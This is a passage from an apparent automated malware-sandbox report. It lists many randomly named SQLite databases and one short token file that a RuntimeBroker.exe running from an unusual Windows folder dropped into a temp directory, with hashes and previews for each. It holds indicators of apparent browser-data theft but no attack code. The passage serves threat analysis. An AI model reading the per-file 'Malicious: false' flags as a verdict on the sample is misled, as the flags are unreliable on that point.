Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hRn6UKvxdW

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hVZA6YWOjg

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hk0IBJLo8F

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i2LtgQOobt

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i6m4hur277

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iInHSGlrvT

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iXT0uoDdar

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iftkGTBA3n

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ijYSiIPYMC

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\invTgtveux

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\inxWYTeNR8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ipWtWHxZPO

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iyQJs0QGTM

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jINBYoYt2V

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jatjbNXKXz

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jdeF0Imnon

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k5AUKPgKmK

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k81IHuot2X

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.403856189774723
Encrypted:	false
SSDEEP:	3:I/TTTk:I/TTTk
MD5:	0C13A95A8E1409EAF6352ED26CC5DB12
SHA1:	128EF32AF5594128E9AC7C859526563B7352C3B6
SHA-256:	F5AAE7A030AD00E0D5050DB15C6BFDCCAEBD362F470041BA8E28F6F9ED3D480F
SHA-512:	F51D7A0707E3C164279BBA68CC316D13BFA41995E0166A16455D235D7CF1F932D42A24FE88F674547E212757B9E521F1B1E7D5472360D2E6F942586EE31B2A04
Malicious:	false
Preview:	mUOHwXXtl8xh7ZyFEaLVklVvA

C:\Users\user\AppData\Local\Temp\kOcYdXXXiA

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kRuhtGJwQs

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kn0sl0dlVg

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ksAR6Bohh8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lNQqiiEum5

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lrnYZJn5p9

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lw1t9N4arp

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lyarlmjdiW

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m1rvtu85KO

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
